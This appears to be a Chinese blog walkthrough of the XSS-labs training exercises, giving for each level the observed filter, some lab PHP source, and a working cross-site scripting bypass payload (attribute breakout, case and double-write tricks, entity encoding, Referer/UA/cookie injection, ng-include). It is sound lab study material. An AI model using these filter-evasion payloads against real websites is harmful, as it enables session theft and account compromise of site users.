XSS-labs 通关

level 1

发现get传参啥,就显示啥,应该对name没啥过滤。

 那我们直接传payload

<script>alert(1);</script>

level2

输入第一天payload,发现显示没有结果,应该是实体转义。

 查看页面源代码,发现确实存在转义。 

加:">绕过input

"><script>alert(1);</script>

level3

发现对双引号做了限制,但是却放行了单引号',而且居然在value这里也加了htmlspecialchars函数,这种情况我们可以通过事件标签触发表单执行。htmlspecialchars() 函数可以把一些预定义的字符转换为 HTML 实体。这里开始构造payload:

    'onclick ='alert(1)

level4

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

查看源码发现

使用str_replace()尖括号进行了过滤,而且对单引号'做了防御,所以,我们直接模仿上一题,使用HTML事件,构造payload:

"onclick="alert(1)

level5

用之前的方法发现不行,on好像被替换了,那么这个方法就不行了。 

 继续尝试发现<script>也被进行了替换<scr_ipt>,继续使用大小写,发现人家全转小写了。

继续尝试看看能否闭合,我们输入',",<,>,\进行尝试,发现只有'被实体转义。那应该就是可以使用"来构造闭合。

"><a href=javascript:alert(1)>

level6

像上一题一样输入,发现真狗啊,给我href给过虑了,后面尝试发现on和script也过滤了,‘也办了。

 只好试试大小写。发现可以

"><Script>alert(1);</Script>

level7

输上一题payload发现他给我script给办了。 

 毫无疑问on也办了

 试试双写,没问题的

"><scrscriptipt>alert(1)</scrscriptipt>

level8

好家伙,把前面能办的全办了。

那就试试编码了。直接unicode,编码javascript:alert(1)    然后点击友情链接

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#39;&#41;

level9

输入试试过滤,发现<>"都没了

<>"'script onclick

 咋试都不行,看源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

666,除了以前做过的所有过滤,竟然还加了个strpos函数,谁都不服就服你,这函数的意思是咱们输入的字符串里面必须要有http://字符:

javascr&#105;pt:alert('1http://')

level10

首先输入?keyword=’’ ’ >< script onclick看他过滤了啥,<>没了。还有三个隐藏的input。

 那么就要一个一个试了,先将type改为text,构造payload:

?keyword=text&t_link="type=text"onclick="alert(1)
?keyword=text&t_history="type=text"onclick="alert(1)
?keyword=text&t_sort="type=text"onclick="alert(1)

 试了前两,不行。

 最后一个就可以了。

 亦可以先输入:

?keyword=text&t_sort="onclick="alert(1)

然后在payload里改type,然后点输入框就行。

level11

查看页面源代码,这次有四个input,不知道是不是都接受传参,那就试试。构造payload

&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text

发现只有t_sort接受传参,那就从它入手。发现它还转义了 “”

 bp抓包发现没有请求头,自己加一个referer:111, t_ref=111,这个好啊,直接绕过

改referer为

"type="text" onclick="alert(1)

 回到页面改referer即可

level12

 这不是UA头吗,哈哈,直接改。

 直接ok。

level13

又是这样

 传参t_cook=111试试

我笑了。

 根据前两题,这个估摸着可能是cookie,传一个试试。

 还真是。

level14

百度说题目有问题,那就算了吧。

level15

查看页面源代码,有个ng-include

就跟php中的include函数类似,是将一个文件给包含进来。 

可以看到这里是通过src传参,而且还对<>做了过滤,既然这里可以包含html文件,那也就是说也可以包含之前咱们做过的有xss漏洞的文件

1、ng-include 指令用于包含外部的 HTML文件。

2、包含的内容将作为指定元素的子节点。

3、ng-include 属性的值可以是一个表达式,返回一个文件名。

4、默认情况下,包含的文件需要包含在同一个域名下。

值得注意的是:

ng-include,如果单纯指定地址,必须要加引号

ng-include,加载外部html,script标签中的内容不执行

ng-include,加载外部html中含有style标签样式可以识别
因此构造:

'level1.php?name=<a href="javascript:alert(1)">'

这是因为我们不是单纯的去包含level1.php,而是在后面添加了name

数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的

html文件给包含进来的意思

点击下面即可。

level16

老样子传参"'<>script onclick 看看啥过滤,发现空格好script没了

 尝试用a标签,空格用url编码

<a%0D%0Aonclick='alert(1)'>

level17

因为embed改google浏览器或者星愿

这里是将传的参数,就行拼接。

level18 

同17关

level19

看了源代码,加了“”需要闭合。又因为有htmlspecialchars()函数在这过滤,所以也没办法闭合。

 大佬说是flash反编译,不会,答案是

version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

level20

还是一样不会,答案

arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值